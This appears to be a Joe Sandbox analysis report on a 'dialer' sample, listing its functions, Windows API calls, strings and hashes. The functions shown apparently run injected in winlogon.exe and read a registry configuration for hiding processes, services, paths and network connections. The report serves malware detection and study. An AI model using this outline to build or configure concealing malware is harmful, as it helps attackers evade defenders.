Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700

Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00000001400019E6
SysAllocString.OLEAUT32 ref: 00000001400019F6
CoInitializeEx.OLE32 ref: 0000000140001A03
CoInitializeSecurity.OLE32 ref: 0000000140001A3A
CoCreateInstance.OLE32 ref: 0000000140001A7A
VariantInit.OLEAUT32 ref: 0000000140001A8C
CoUninitialize.OLE32 ref: 0000000140001B26
SysFreeString.OLEAUT32 ref: 0000000140001B2F
SysFreeString.OLEAUT32 ref: 0000000140001B38

Strings

dialersvc64, xrefs: 00000001400019DD

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300

Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000140001034
RegDeleteKeyW.ADVAPI32 ref: 0000000140001045
RegEnumKeyExW.ADVAPI32 ref: 0000000140001082
RegCloseKey.ADVAPI32 ref: 0000000140001093
RegDeleteKeyExW.ADVAPI32 ref: 00000001400010B0

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140001026, 000000014000109C

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54

Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000140002ACB
WriteFile.KERNEL32 ref: 0000000140002AF3
WriteFile.KERNEL32 ref: 0000000140002B16
CloseHandle.KERNEL32 ref: 0000000140002B1F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 0000000140002AA8

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40

Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001924
GetProcAddress.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001937

Strings

ntdll.dll, xrefs: 000000014000191A

Memory Dump Source

Source File: 00000011.00000002.2486526895.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.2486319584.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486685714.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2486771111.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

Analysis Process: winlogon.exePID: 564, Parent PID: 3876COMMON

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	94.4%
Signature Coverage:	0%
Total number of Nodes:	107
Total number of Limit Nodes:	16

Executed Functions

Function 000001E858981628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001E858981633
HeapAlloc.KERNEL32 ref: 000001E858981642

Part of subcall function 000001E858981268: GetProcessHeap.KERNEL32 ref: 000001E85898126E
Part of subcall function 000001E858981268: HeapAlloc.KERNEL32 ref: 000001E85898127D
Part of subcall function 000001E858981268: GetProcessHeap.KERNEL32 ref: 000001E858981297
Part of subcall function 000001E858981268: HeapAlloc.KERNEL32 ref: 000001E8589812A8

RegOpenKeyExW.ADVAPI32 ref: 000001E8589816B2
RegOpenKeyExW.ADVAPI32 ref: 000001E8589816DF
RegCloseKey.ADVAPI32 ref: 000001E8589816F9
RegOpenKeyExW.ADVAPI32 ref: 000001E858981719
RegCloseKey.ADVAPI32 ref: 000001E858981734
RegOpenKeyExW.ADVAPI32 ref: 000001E858981754
RegCloseKey.ADVAPI32 ref: 000001E85898176F
RegOpenKeyExW.ADVAPI32 ref: 000001E85898178F
RegCloseKey.ADVAPI32 ref: 000001E8589817AA
RegOpenKeyExW.ADVAPI32 ref: 000001E8589817CA
RegCloseKey.ADVAPI32 ref: 000001E8589817E5
RegOpenKeyExW.ADVAPI32 ref: 000001E858981805
RegCloseKey.ADVAPI32 ref: 000001E858981820
RegOpenKeyExW.ADVAPI32 ref: 000001E858981840
RegCloseKey.ADVAPI32 ref: 000001E85898185B
RegOpenKeyExW.ADVAPI32 ref: 000001E85898187B
RegCloseKey.ADVAPI32 ref: 000001E858981896
RegCloseKey.ADVAPI32 ref: 000001E8589818A0

Part of subcall function 000001E8589812BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001E858981319
Part of subcall function 000001E8589812BC: GetProcessHeap.KERNEL32 ref: 000001E858981327
Part of subcall function 000001E8589812BC: HeapAlloc.KERNEL32 ref: 000001E858981338
Part of subcall function 000001E8589812BC: RegEnumValueW.ADVAPI32 ref: 000001E858981397
Part of subcall function 000001E8589812BC: GetProcessHeap.KERNEL32 ref: 000001E8589813DF
Part of subcall function 000001E8589812BC: HeapAlloc.KERNEL32 ref: 000001E8589813ED
Part of subcall function 000001E8589812BC: GetProcessHeap.KERNEL32 ref: 000001E85898140A
Part of subcall function 000001E8589812BC: HeapFree.KERNEL32 ref: 000001E858981418
Part of subcall function 000001E8589812BC: lstrlenW.KERNEL32 ref: 000001E858981421
Part of subcall function 000001E8589812BC: GetProcessHeap.KERNEL32 ref: 000001E85898142F
Part of subcall function 000001E8589812BC: HeapAlloc.KERNEL32 ref: 000001E85898143D

Strings

udp, xrefs: 000001E858981874
startup, xrefs: 000001E8589816D5
tcp_local, xrefs: 000001E8589817FE
SOFTWARE\dialerconfig, xrefs: 000001E858981692
pid, xrefs: 000001E858981712
service_names, xrefs: 000001E8589817C3
process_names, xrefs: 000001E85898174D
tcp_remote, xrefs: 000001E858981839
paths, xrefs: 000001E858981788

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 21d86d412d1650ae27b0043b2d401094e46d8c624b6cd0b43ec9435d42789ffa
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 2D710A36321A91C6EB10AF66E8916EDB3A5FF84B98F401132DE4E57B69EF38C454C740

Function 000001E858983790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000001E85898379E
GetCurrentProcess.KERNEL32 ref: 000001E8589837CC
VirtualProtectEx.KERNEL32 ref: 000001E8589837EE
GetCurrentProcess.KERNEL32 ref: 000001E858983809
VirtualProtectEx.KERNEL32 ref: 000001E85898382A

Strings

wr, xrefs: 000001E8589837FF

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: d234e4461be7ce666b4697da3425b0a366aa51e2e4cc7be98c343ce9cae75724
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 05115B36724BC1C2EF159B22E4086ADB2A1FB88B85F44003ADE8E07794EF3DC505CB04

Function 000001E858985B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001E858985B6B
GetThreadContext.KERNEL32 ref: 000001E858985CD5

Part of subcall function 000001E858985960: GetCurrentThreadId.KERNEL32 ref: 000001E858985964

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
Instruction ID: a4617b46cd32b3a0414ab7f2d2c5e1ab313b6a71b2cba704dad36ec99b28e09a
Opcode Fuzzy Hash: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
Instruction Fuzzy Hash: 9DD17776214B89C6DB709B56E49439EB7A0FB88B84F500126EE8D47BA9DF3CC545CF40

Function 000001E8589850D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001E858985156

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
Instruction ID: fa7807662b3792369c97fc6f37bebb2b001074cd7c6065ce50333d33d1213250
Opcode Fuzzy Hash: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
Instruction Fuzzy Hash: 11029436229BC5C6EB60CB59E49079EB7A1F785794F104026EA8E87BA9DF7CC454CF00

Function 000001E8589839E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000001E858983A66
VirtualAlloc.KERNEL32 ref: 000001E858983AA0

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: 5ad133b89d074dd97bec0c1f73fb02c24c1f243091b434175b3c7d6c02ead25a
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: E531EC32239AC5C1EA70DA15E85539EF6A4FB88784F500536EACE46BA8DF7DC5809F04

Function 000001E85898328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001E8589832AE
PathFindFileNameW.SHLWAPI ref: 000001E8589832BD

Part of subcall function 000001E858983844: StrCmpNIW.SHLWAPI ref: 000001E85898385C

Part of subcall function 000001E858983790: GetModuleHandleW.KERNEL32 ref: 000001E85898379E
Part of subcall function 000001E858983790: GetCurrentProcess.KERNEL32 ref: 000001E8589837CC
Part of subcall function 000001E858983790: VirtualProtectEx.KERNEL32 ref: 000001E8589837EE
Part of subcall function 000001E858983790: GetCurrentProcess.KERNEL32 ref: 000001E858983809
Part of subcall function 000001E858983790: VirtualProtectEx.KERNEL32 ref: 000001E85898382A

CreateThread.KERNEL32 ref: 000001E85898330B

Part of subcall function 000001E858981D14: GetCurrentThread.KERNEL32 ref: 000001E858981D1F

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 9367effade6da1e612e9811c82477e14b03a08a888ac1948d4cbee7ffa7af72d
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: F41152716346C2C2FB60AB62F8493DDF294BF54385F90413FAD4E82995EF7CC0849A10

Function 000001E858984DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000001E858984DF4
VirtualProtect.KERNEL32 ref: 000001E858984E37
FlushInstructionCache.KERNEL32 ref: 000001E858984E4C

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
Instruction ID: 5a9e8cf37d9f90f00b28642c3c3ed99c7679eb8f6b8d0d5ae9ec7e4d6c0d13b2
Opcode Fuzzy Hash: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
Instruction Fuzzy Hash: DFF01D76228B85C1D630DB51E44038EBBA0FB887D4F140122BE8D43B69CE3CC5808F00

Function 000001E85895273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001E8589527DB
LoadLibraryA.KERNELBASE ref: 000001E85895285E

Memory Dump Source

Source File: 00000016.00000002.3600075883.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858950000_winlogon.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 664efa2306450b3d651c980b7901db96b5cccce9d6076fff7dea8f6b8d110b4a
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 3261CC72B21690C7DA548F95D1207ADF3A2FF54BA5F588132DE5D07788DE38D852C700

Function 000001E858981ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001E858981628: GetProcessHeap.KERNEL32 ref: 000001E858981633
Part of subcall function 000001E858981628: HeapAlloc.KERNEL32 ref: 000001E858981642
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E8589816B2
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E8589816DF
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E8589816F9
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E858981719
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E858981734
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E858981754
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E85898176F
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E85898178F
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E8589817AA
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E8589817CA

Sleep.KERNEL32 ref: 000001E858981AD7
SleepEx.KERNEL32 ref: 000001E858981ADD

Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E8589817E5
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E858981805
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E858981820
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E858981840
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E85898185B
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E85898187B
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E858981896
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E8589818A0

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 4bfe8da4bf64d09d75688e0bc86698689cfa1098149370d4ad6d534f2979ed62
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: D7317771231AC2D6EB50BB26DA513FDF3A9AF84BD0F0454339E0D87699FE24C8918A10

Function 000001E8589B273C Relevance: 1.4, APIs: 1, Instructions: 187
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001E8589B27DB

Memory Dump Source

Source File: 00000016.00000002.3600610953.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: c921608bc3ed8dae174af04d789195309c5edfcc0c714fa749226a5546365456
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 7161DD32B29690CBEB548F95D1007ADF3A2FB54BA5F588136DE5D07788DE38D852C700

Non-executed Functions

Function 000001E858982B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 000001E858982BD0
lstrlenW.KERNEL32 ref: 000001E858982E0A

Part of subcall function 000001E85898199C: OpenProcess.KERNEL32 ref: 000001E8589819C2
Part of subcall function 000001E85898199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001E8589819E0
Part of subcall function 000001E85898199C: PathFindFileNameW.SHLWAPI ref: 000001E8589819EF
Part of subcall function 000001E85898199C: lstrlenW.KERNEL32 ref: 000001E8589819FB
Part of subcall function 000001E85898199C: StrCpyW.SHLWAPI ref: 000001E858981A0E
Part of subcall function 000001E85898199C: CloseHandle.KERNEL32 ref: 000001E858981A1C

GetProcAddress.KERNEL32 ref: 000001E858982BE5

Part of subcall function 000001E85898152C: StrCmpIW.SHLWAPI ref: 000001E85898155D

Part of subcall function 000001E858983844: StrCmpNIW.SHLWAPI ref: 000001E85898385C

StrCmpNIW.SHLWAPI ref: 000001E858982C28
lstrlenW.KERNEL32 ref: 000001E858982D50

Strings

ntdll.dll, xrefs: 000001E858982BC9
NtQueryObject, xrefs: 000001E858982BDB
\Device\Nsi, xrefs: 000001E858982C1B

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 04a661148b50104311287319c74e3cfe1c909468e327bc71e4abbcab7385a8c3
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: A6B15476220AD2C6EB699FA5D8407EDF3A5FB84B84F445027EE0D57B95EE35C880CB40

Function 000001E858987D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001E858987DAC
RtlCaptureContext.NTDLL ref: 000001E858987DD9
RtlLookupFunctionEntry.NTDLL ref: 000001E858987DF3
RtlVirtualUnwind.NTDLL ref: 000001E858987E34
IsDebuggerPresent.KERNEL32 ref: 000001E858987E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001E858987EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001E858987EB4

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: c25654e1fbf133ad71a07c6f0efe47fc9d8043adbf42997a59493c9db71f9faa
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 41313B76225BC1DAEB609F60E8807EDB365FB84744F44442ADA4E57B99EF38C648CB10

Function 000001E85898D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001E85898D31D
RtlLookupFunctionEntry.NTDLL ref: 000001E85898D335
RtlVirtualUnwind.NTDLL ref: 000001E85898D370
IsDebuggerPresent.KERNEL32 ref: 000001E85898D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001E85898D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001E85898D3BE

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 0fd8bee66b9aa75a719588d4164310d191915e835c40ed0449f42a8a8d7cafff
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: A5313D36224BC1D6EB60DB25E8403EEB3A4FB89754F500126EE9D53B59DF38C555CB00

Function 000001E858987960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001E85898798C
GetCurrentThreadId.KERNEL32 ref: 000001E85898799A
GetCurrentProcessId.KERNEL32 ref: 000001E8589879A6
QueryPerformanceCounter.KERNEL32 ref: 000001E8589879B6

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 34985af1e6a69c2e887ac8394de09c6f631af6656f7e96728bd996360b5e390c
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 7D111C36720F91C9EB109B60E8553AD73A4FB19758F440E32DE6E467A4DF78D1988380

Function 000001E85898DCE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction ID: 30bb9f7e9d87a9d9c65bc2380062ff3bad17e1f141d89e57fb0a08f8465aebfb
Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
